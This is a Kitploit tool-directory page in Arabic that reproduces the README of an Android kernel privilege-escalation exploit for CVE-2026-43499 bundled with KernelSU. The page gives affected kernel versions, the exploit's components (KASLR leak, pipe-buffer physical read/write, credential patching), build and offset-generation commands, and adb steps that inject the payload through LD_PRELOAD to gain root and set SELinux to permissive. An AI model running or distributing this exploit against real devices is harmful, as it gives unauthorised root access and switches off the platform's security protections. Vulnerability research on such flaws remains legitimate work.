Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-43499-root-KernelSU — تكييف لرفع الصلاحيات محليًا استنادًا إلى ثغرة النواة CVE-2026-43499، مع تكامل KernelSU المدمج. CVE-2026-43499 + وضع كسر الحماية KernelSU | Kitploit
أدوات/GitHubGitHub/woshimaniubi8/cve-2026-43499-root-kernelsu
أمان أندرويدتصعيد الامتيازاتالاستغلالتطوير الحمولاتاستغلال الملفات الثنائية
GitHubwoshimaniubi8/cve-2026-43499-root-kernelsu

CVE-2026-43499-root-KernelSU

تكييف لرفع الصلاحيات محليًا استنادًا إلى ثغرة النواة CVE-2026-43499، مع تكامل KernelSU المدمج. CVE-2026-43499 + وضع كسر الحماية KernelSU

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
18364منذ 3 أشهرتمت المراجعة من قبل Kitploit
# CVE-2026-43499-root-KernelSU

تكييف لرفع الامتيازات محليًا يعتمد على ثغرة النواة CVE-2026-43499، مع دمج KernelSU مضمّن. يُجمَّع ويُنتَج `preload.so`؛ وبعد نجاح الاستغلال، يُشغَّل KernelSU في وضع `late-load` (وضع الجيلبريك). يدعم توليد `target.h` من (xbl_config.img / vendor_boot.img) + boot.img.

تكييف لرفع الامتيازات محليًا يعتمد على ثغرة في النواة، مع دمج KernelSU مضمّن.
يُجمَّع ويُنتَج `preload.so`؛ وبعد نجاح الاستغلال، يُشغَّل KernelSU في وضع `late-load` (وضع الجيلبريك).
يدعم توليد `target.h` من `(xbl_config.img / vendor_boot.img) + boot.img`. أو بطرق أخرى.

المشاريع المرجعية:

- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)

>[!IMPORTANT]
>الاستغلال غير المصرّح به للثغرات لإلحاق الضرر بأنظمة الحاسوب أو اختراقها أو الوصول إليها محظور قانونًا. يُقدَّم هذا المشروع لأغراض البحث والتعليم والتعلّم فقط، ولا يجوز استخدامه إلا في الأنظمة والبيئات التي حصلت على إذن مسبق. أي استخدام لهذا المشروع يتم على مسؤولية المستخدم الخاصة. لا يتحمل المؤلفون والمساهمون أي مسؤولية عن أي إساءة استخدام لهذا المشروع أو عن أي أضرار أو خسائر أو عواقب قانونية ناتجة عن استخدامه.
>
>إخلاء مسؤولية: الاستغلال غير المصرّح به للثغرات لتنفيذ أعمال تخريب أو اختراق أو وصول غير مصرّح به لأنظمة الحاسوب قد ينتهك القوانين واللوائح ذات الصلة. هذا المشروع مخصّص فقط للبحث والدراسة والاختبار الأمني في الأنظمة والبيئات المرخّصة قانونًا. أي خسائر مباشرة أو غير مباشرة أو مسؤولية قانونية أو عواقب أخرى ناتجة عن استخدام هذا المشروع أو إساءة استخدامه أو تعديله يتحملها المستخدم وحده، ولا يتحمل مؤلفو المشروع والمساهمون فيه أي مسؤولية.

## النطاق المتأثر

**عندما يكون إصدار نواتك {Linux Kernel}، فأنت ضمن نطاق تأثير هذه الثغرة**

- Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**

- **2.6.39** <=  {Linux Kernel} < **6.1.175**
- **6.2** <=  {Linux Kernel} < **6.6.140**
- **6.7** <=  {Linux Kernel} < **6.12.86**
- **6.13** <=  {Linux Kernel} < **6.18.27**
- **6.19** <=  {Linux Kernel} < **7.0.4**


## الحالة الحالية

| Target | الحالة |
| --- | --- |
| `rodin` (الافتراضي) | تم التحقق منه |
| غيرها من `src/targets/*` | مرجعية |

## بنية الدليل

```text
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│   ├── generate_target.py       # 本仓库统一 target.h 生成入口
│   └── vendor/                  # 从父目录同步的原始生成辅助脚本
└── src/
    ├── main.c                   # exploit 主流程
    ├── preload.c                # LD_PRELOAD constructor + ksud 写出/启动
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch helpers
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...
```

## البناء


### التبعيات

- مضيف Linux
- Android NDK
  - المسار الافتراضي: `~/android-ndk-r29`
  - أو اضبط: `ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
- `make`
- `git`

### البناء

```bash
make PROJECT=<target> -j$(nproc)
```

المخرجات:

```text
build/<target>/bin/preload.so
```

### عرض الأهداف المتاحة

```bash
make list-projects
```

## توليد target.h

يحتوي هذا المستودع على سكربت موحّد لتوليد target مدمج مسبقًا:

```text
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
```

`tools/generate_target.py` هو سكربت نقطة الدخول. يستند إلى جميع عمليات توليد target في الدليل الأب ويغلّفها، ويُخرج في النهاية ملف `src/targets/<project>/target.h` كاملًا ومتوافقًا مع شيفرة هذا المستودع.

لا يفرض السكربت التحقق من `CONFIG_DEBUG_INFO_BTF=y` في IKCONFIG. إذا تعذّر التحقق من إزاحات حقول البنية أو تخطيط `entry_task` في percpu، فسيطبع تحذيرًا ويواصل التوليد.

إذا كانت الصورة تفتقر تمامًا إلى BTF قابل للاستخدام، مثل ظهور:

```text
有效 vmlinux BTF 候选不唯一: []
```

سيدخل المولّد في وضع **الاحتياط بدون BTF (no-BTF fallback)**:

- يواصل استعادة إزاحات رموز الدوال/الكائنات العامة من kallsyms في `boot.img` الحالي؛
- وحدات الماكرو الخاصة بحقول البنية/التخطيط التي يتعذّر استعادتها من BTF تُورَّث من target القالب، والقالب الافتراضي هو `rodin`؛
- سيُكتب تحذير (warning) في أعلى ملف الرأس المُولَّد يوضّح `without BTF` والقالب المستخدم؛
- يضمن ملف الرأس هذا قابلية الترجمة قدر الإمكان، لكن موثوقية التشغيل تتطلب التحقق على جهاز حقيقي.

يمكن تحديد قالب الاحتياط:

```bash
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
```

#### 1. التوليد باستخدام boot.img + profile JSON

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```

يُكتب افتراضيًا في:

```text
src/targets/<project>/target.h
```

يمكنك أيضًا استدعاء السكربت مباشرةً:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
```

يجب أن يحتوي `profile.json` على معلومات العناوين الفيزيائية، مثل:

```json
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}
```

#### 2. اكتشاف profile من جهاز ADB بصلاحيات root

لتوليد profile فقط:

```bash
make detect-profile PROFILE_OUT=profile.json
```

لاكتشاف profile وتوليد target فورًا:

```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json
```

#### 3. التوليد عبر (xbl_config.img / vendor_boot.img) + boot.img

يكشف السكربت أيضًا عن المداخل الأخرى التي يدعمها مولّد الدليل الأب:

```bash
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
```

##### مثال

```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```

شكل الإخراج عند النجاح:

```text
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
```

يحتفظ `rodin` افتراضيًا بالقيم المُتحقَّق منها على أجهزة حقيقية:

```c
#define MM_STRUCT_SZ 0x500
```

للتجاوز عن ذلك:

```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```

## إضافة target جديد

يُوصى بالتوليد من صورة boot وprofile متوافقين:

```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
```

يحتوي ملف رأس (header) target كامل على:

- ثوابت direct map / physical profile
- إزاحات كائن KASLR slide
- إزاحات task / cred / SELinux
- إزاحات pipe / fops / configfs
- قيم تخطيط pselect، مثل `PSELECT_WAITER_WORD_SHIFT`
- قيم `MM_STRUCT_SZ` ومعاملات ضبط KernelSnitch

## التشغيل

تحتوي الشيفرة المصدرية الحالية على قيم افتراضية مدمجة؛ للتشغيل العادي يكفي ضبط `LD_PRELOAD` وتنفيذ أي برنامج (يُقترح `toybox id`).

```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## معاملات التشغيل الافتراضية

الإعدادات الافتراضية الحالية كما يلي:

| الإعداد | القيمة الافتراضية | الوصف |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | تنفيذ `ksud late-load` |
| `KSUD_ALLOW_SHELL` | `1` | تمرير `--allow-shell` |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | اسم حزمة المدير المُمرَّر إلى ksud (يبدو غير فعّال) |
| `KSUD_DST` | `/data/local/tmp/ksud` | مسار كتابة ksud المضمّن |
| `KSUD_SKIP_WRITE` | `0` | كتابة ksud المضمّن افتراضيًا |
| `KSUD_DEFER_TO_PARENT` | `1` | تشغيل ksud من مسار العملية الأب/الحالية المُعدَّلة (patched) |
| `ROOT_PATCH_SELF` | `1` | تعديل (patch) العملية الحالية لتكون uid 0 |
| `DISABLE_SELINUX` | `1` | عند root patch، كتابة حالة SELinux enforcing كـ permissive |
| `ROOT_EXIT_SLEEP` | unset / `0` | لا sleep إضافي قبل العودة |

السلوك الفعلي الافتراضي لأمر ksud:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

لا تزال هذه المتغيرات البيئية قابلة للتجاوز في وقت التشغيل، مثل:

```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

إعادة استخدام `ksud` الذي سبق كتابته:

```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```

## التنظيف

```bash
make clean
```

يحتفظ `make clean` بملف `build/embed/ksud`، لأن `src/ksud_blob.S` يضمّنه بالطريقة التالية:

```asm
.incbin "build/embed/ksud"
```

إذا أدى التنظيف اليدوي إلى فقدان `build/embed/ksud`، يمكنك استعادته:

```bash
git checkout -- build/embed/ksud
```

## الأسئلة الشائعة

### لم يتم العثور على `.incbin "build/embed/ksud"`

أعد البناء بعد استعادة الحمولة المدمجة:

```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```

### مسار FOPS يُرجع `success=0`

يتوقع `rodin` استخدام تخطيط pselect البسيط/القديم:

```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```

إذا كانت حالة الجهاز ملوثة بمحاولات فاشلة، أعد تشغيله ثم جرّب مجددًا:

```bash
adb reboot
```

### `F_SETPIPE_SZ` يُرجع `EPERM`

عادةً ما تكون مشكلة حالة ناتجة عن محاولات فاشلة/متبقية، وإعادة التشغيل هي أسرع طريقة للتنظيف:

```bash
adb reboot
```

### `ksud` يعمل لكن `/proc/modules` لا يعرض KernelSU

افحص السجلات:

```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```

عند الحاجة، شغّله يدويًا في root shell:

```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```

## الترخيص

GPL-3.0. انظر [`LICENSE`](https://github.com/woshimaniubi8/cve-2026-43499-root-kernelsu/blob/main/LICENSE).
تنزيل الأداة